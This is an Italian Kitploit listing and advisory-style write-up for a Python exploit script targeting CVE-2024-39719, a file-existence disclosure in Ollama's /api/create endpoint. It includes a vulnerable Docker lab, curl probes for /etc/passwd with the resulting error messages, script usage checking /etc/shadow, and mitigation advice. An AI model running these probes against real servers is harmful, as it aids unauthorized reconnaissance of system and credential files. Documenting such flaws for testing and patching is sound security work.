Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-39719 — Script di exploit in Python per CVE-2024-39719, una vulnerabilità di divulgazione dell'esistenza di file in Ollama. Testa gli endpoint API per rilevare i percorsi dei file del server, aiutando nell'analisi delle vulnerabilità e nel penetration testing. | Kitploit
Strumenti/GitHubGitHub/srcx404/cve-2024-39719
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingApprendimento e Formazione
GitHubsrcx404/cve-2024-39719

CVE-2024-39719

Script di exploit in Python per CVE-2024-39719, una vulnerabilità di divulgazione dell'esistenza di file in Ollama. Testa gli endpoint API per rilevare i percorsi dei file del server, aiutando nell'analisi delle vulnerabilità e nel penetration testing.

Vedi Repository
21 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Analisi della vulnerabilità di divulgazione dell'esistenza di file in Ollama (CVE-2024-39719)

中文

Panoramica della vulnerabilità

CVE-2024-39719 è una vulnerabilità di divulgazione dell'esistenza di file che colpisce Ollama versioni 0.3.14 e precedenti. Questa vulnerabilità consente agli aggressori di rilevare l'esistenza di file specifici sul server attraverso un endpoint API, portando potenzialmente a una fuga di informazioni.

Data di rilascio: 31 ottobre 2024

Dettagli della vulnerabilità

Causa principale

La vulnerabilità risiede nell'endpoint /api/create di Ollama. Quando un aggressore chiama l'API CreateModel con un parametro path, il server restituisce messaggi di errore diversi a seconda che il percorso esista o meno. Questo comportamento consente a un aggressore di determinare se un file o una directory specifica esiste sul server analizzando i messaggi di errore.

Il problema principale è che, durante la gestione dell'input utente, il sistema espone direttamente gli errori del filesystem al client invece di nascondere correttamente le informazioni sull'esistenza del percorso.

Versioni interessate

Questa vulnerabilità colpisce tutte le versioni di Ollama fino alla 0.3.14 inclusa.

Impatto

Sebbene una vulnerabilità di divulgazione dell'esistenza di file possa inizialmente sembrare meno grave, può:

  1. Servire come passo preliminare in attacchi più complessi, aiutando gli aggressori a raccogliere informazioni sul server
  2. Essere utilizzata per rilevare la presenza di file di configurazione critici, certificati o file di dati sensibili
  3. Aiutare gli aggressori a condurre attacchi più mirati
  4. Portare a fuga di informazioni in ambienti specifici, come confermare l'esistenza di particolari utenti o caratteristiche del sistema

Riproduzione della vulnerabilità

Configurazione dell'ambiente

  1. Creare un ambiente Ollama vulnerabile utilizzando il seguente file Docker Compose:
root@kitploit:~
services:
  ollama:
    image: ollama/ollama:0.3.14
    container_name: ollama
    volumes:
      - ollama:/root/.ollama
    ports:
      - "11434:11434"

volumes:
  ollama:
  1. Avviare il servizio:
root@kitploit:~
docker compose up -d
  1. Dopo l'avvio del servizio, è possibile confermare che Ollama 0.3.14 è in esecuzione accedendo a http://your-ip:11434/.

Passaggi per la riproduzione

1. Test di file inesistenti

Inviare una richiesta utilizzando curl per tentare di accedere a un file inesistente:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'

Risposta:

root@kitploit:~
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}

2. Test di file esistenti

Testare un file esistente, come /etc/passwd:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'

Risposta:

root@kitploit:~
{"error":"no FROM line for the model was specified"}

Analizzando questi diversi messaggi di errore, un aggressore può determinare se un percorso target esiste o meno, ottenendo informazioni sulla struttura dei file del server. Nota che le informazioni restituite dal server possono variare a seconda della versione.

Mitigazione della vulnerabilità

Correzione ufficiale

Ollama ha risolto questa vulnerabilità nelle versioni più recenti. Le correzioni includono:

  1. Standardizzazione della gestione degli errori per evitare la fuga di informazioni sull'esistenza dei file
  2. Implementazione di convalida e filtro più rigorosi dei percorsi forniti dall'utente
  3. Utilizzo di messaggi di errore più generici che non espongono direttamente informazioni sul filesystem

Passaggi di mitigazione consigliati

  1. Aggiornare Ollama: La soluzione più efficace è aggiornare all'ultima versione di Ollama.
  2. Controllo degli accessi: Limitare l'accesso agli endpoint API, consentendo solo utenti autorizzati.
  3. Isolamento di rete: Quando possibile, distribuire i servizi Ollama in reti isolate per ridurre l'accesso esterno.
  4. Monitoraggio: Migliorare il monitoraggio delle chiamate API, concentrandosi in particolare sul rilevamento di pattern di accesso insoliti all'endpoint /api/create.

Utilizzo dello script di exploit

Lo script Python fornito consente di testare se un server Ollama è vulnerabile a CVE-2024-39719.

Requisiti

  • Python 3.x
  • Pacchetti richiesti: requests, termcolor

Installazione

root@kitploit:~
pip install requests termcolor

Utilizzo

root@kitploit:~
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]

Opzioni

  • -u, --url: URL del server Ollama (obbligatorio)
  • -f, --file: File da verificare per l'esistenza (predefinito: "/etc/passwd")

Esempi

root@kitploit:~
# Verifica se un server è vulnerabile
python CVE_2024_39719.py -u http://your-ip:11434

# Verifica se un file specifico esiste
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow

Riferimenti

  • CVE-2024-39719 nel National Vulnerability Database
  • Repository GitHub di Ollama
  • Avvisi di sicurezza di Ollama

Dichiarazione di esclusione di responsabilità

Questo script è fornito solo a scopo educativo e per test di sicurezza legittimi. Assicurati sempre di avere la dovuta autorizzazione prima di testare qualsiasi sistema per vulnerabilità. I test non autorizzati potrebbero violare leggi e regolamenti.

Scarica lo strumento